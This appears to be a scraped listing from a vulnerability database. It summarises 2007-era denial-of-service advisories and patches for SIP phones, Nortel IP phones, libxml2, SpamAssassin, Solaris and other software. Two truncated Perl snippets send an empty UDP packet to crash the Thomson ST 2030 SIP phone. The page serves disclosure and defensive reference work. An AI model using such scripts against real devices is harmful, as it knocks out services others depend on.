Design/Logic Flaw

Ipswitch Instant Messaging IM 2.0.8.1 and earlier allows remote attackers to cause a denial of service NULL dereference and application crash via a version field containing zero...

openSUSE 10 Security Update : libxml2 (libxml2-4841)

libxml2 contained a DoS condition in xmlCurrentChar's UTF-8 processing. CVE-2007-6284 has been assigned to this problem. %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The descriptive text and package checks in this plugin were extracted from openSUSE Security Update libxml2-4841. The text...

SuSE 10 Security Update : SPAMAssassin (ZYPP Patch Number 3078)

This upgrade brings spamassassin to version 3.1.8 with following changes : - fix for CVE-2007-0451: possible DoS due to incredibly long URIs found in the message content. - disable perl module usage in update channels unless -allowplugins is specified - files with names starting/ending in...

FreeBSD : liveMedia -- DoS vulnerability (821afaa2-9e9a-11dc-a7e3-0016360406fa)

The live555 development team reports : Fixed a bounds-checking error in 'parseRTSPRequestString' caused by an int vs. unsigned problem. The function which handles the incoming queries from the clients is affected by a vulnerability which allows an attacker to crash the server remotely using the...

LIVE555 Media Server < 2007.11.18 DoS

Binary data 4289.prm...

MadWifi: Denial of service

Background The MadWifi driver provides support for Atheros based IEEE 802.11 Wireless Lan cards. Description Clemens Kolbitsch and Sylvester Keil reported an error when processing beacon frames with an overly large "length" value in the "xrates" element. Impact A remote attacker could act as an...

Fedora 7 : vavoom-1.24-3.fc7 (2007-1977)

Security update fixing various format strings vulnerabilities and a DOS vulnerability in the vavoom server, this fixes: CVE-2007-4533, CVE-2007-4534 & CVE-2007-4535. Also see bugzilla bug 256621. Note that Tenable Network Security has extracted the preceding description block directly from the...

Nortel IP Phone forced re-authentication

COMPASS SECURITY ADVISORY http://www.csnc.ch/ Product: IP Phone Vendor: Nortel Subject: IP Phone forced re-authentication Risk: High Effect: Currently exploitable Author: Daniel Stirnimann daniel.stirnimann at csnc dot ch Date: October, 18th 2007 Introduction: ------------- The UNIStim...

Nortel IP Phone Flooding Denial of Service

COMPASS SECURITY ADVISORY http://www.csnc.ch/ Product: IP Phone Vendor: Nortel Subject: IP Phone Flooding Denial of Service Risk: High Effect: Currently exploitable Author: Daniel Stirnimann daniel.stirnimann at csnc dot ch Date: October, 18th 2007 Introduction: ------------- A malicious user who...

Sun Solaris线程处理本地拒绝服务漏洞

BUGTRAQ ID: 25821 Solaris是一款由Sun开发和维护的商业性质UNIX操作系统。 Solaris内核中处理线程上下文中的竞争条件安全漏洞可能允许本地非特权用户导致系统忙碌，从而造成拒绝服务的情况。 可能出现一些不同类型的忙碌，因此很难迅速锁定这个漏洞，但做为示例，可对崩溃dump运行以下命令： echo "panicthread::findstack !grep kcpcfree" |mdb unix.0 vmcore.0 如果生成类似于以下的输出的话： 000002a101168a61 kcpcfree+18 就可能出现了这个漏洞。 Sun Solaris 9.0...

Exploits DOS vulnerability on Thomson SIP phone ST 2030 using an empty packet

No description provided by source. !/usr/bin/perl use IO::Socket::INET; die "Usage $0 dst port username" unless $ARGV2; $socket=new IO::Socket::INET-newPeerPort=$ARGV1, Proto='udp', PeerAddr=$ARGV0; $msg = ""; $socket-send$msg;...

CVE-2007-4638

Affected software: Blizzard Entertainment StarCraft Brood War (version 1.15.1 and earlier). Vulnerability: Remote attacker can trigger a denial-of-service by supplying a malformed map, causing an out-of-bounds read during the minimap preview. Impact: Denial of service with application crash; no c...

[Full-disclosure] DOS vulnerability on Thomson SIP phone ST 2030 using an empty packet

MADYNES Security Advisory : Remote DOS on Thomson SIP phone ST 2030 using an empty packet Date of Discovery 15 February, 2007 Vendor was notified on 1 March 2007 ID: KIPH10 Synopsis After sending an empty message the device looks functional but in fact does not respond to any event provoking a Do...

Thomson ST 2030 SIP phone DoS

Crash on invalid INVITE request Via: and To: headers and also on empty message...

[Full-disclosure] DOS vulnerability on Thomson SIP phone ST 2030 using the TO Header

MADYNES Security Advisory : Remote DOS on Thomson SIP phone ST 2030 Date of Discovery 15 February, 2007 Vendor was notified on 1 March 2007 ID: KIPH9 Synopsis After sending a message where the TO URI field is crafted, the device looks functional but in fact does not respond to any event provoking...

Thomson SpeedTouch ST 2030 (SIP Phone) - Remote Denial of Service

Thomson SpeedTouch ST 2030 SIP Phone - Remote Denial of Service !/usr/bin/perl Vulneravility for Thomson 2030 firmware v1.52.1 It provokes a DoS in the device. use IO::Socket::INET; die "Usage $0 " unless $ARGV2; $socket=new IO::Socket::INET-newPeerPort=$ARGV1, Proto='udp', PeerAddr=$ARGV0; $msg ...

TS-2007-001-0: BlueCat Networks Adonis Linux-HA heartbeat DoS Vulnerability

Template Security Security Advisory ----------------------------------- BlueCat Networks Adonis Linux-HA heartbeat DoS Vulnerability Date: 2007-07-29 Advisory ID: TS-2007-001-0 Vendor: BlueCat Networks, http://www.bluecatnetworks.com/ Revision: 0 Contents -------- Summary Software Version Details...

CVE-2007-3959

The IM Server aka IMserve or IMserver 2.0.5.30 and probably earlier in Ipswitch Instant Messaging before 2.07 in Ipswitch Collaboration Suite ICS allows remote attackers to cause a denial of service daemon crash via certain data to TCP port 5179 that overwrites a destructor, as reachable by the 1...

CVE-2007-3351

The SJPhone SIP soft phone 1.60.303c, when installed on the Dell Axim X3 running Windows Mobile 2003, allows remote attackers to cause a denial of service device hang and traffic amplification via a direct crafted INVITE transaction, which causes the phone to transmit many RTP packets...

Arris Cadant C3 CMTS Remote DoS Vulnerability

This vulnerability allows remote attackers to cause a denial of service on vulnerable Arris Cadant C3 CMTS systems. Authentication is not required to exploit this vulnerability. The flaw exists due to mishandling of IP options. When an unknown or bad option is specified, the C3 will terminate...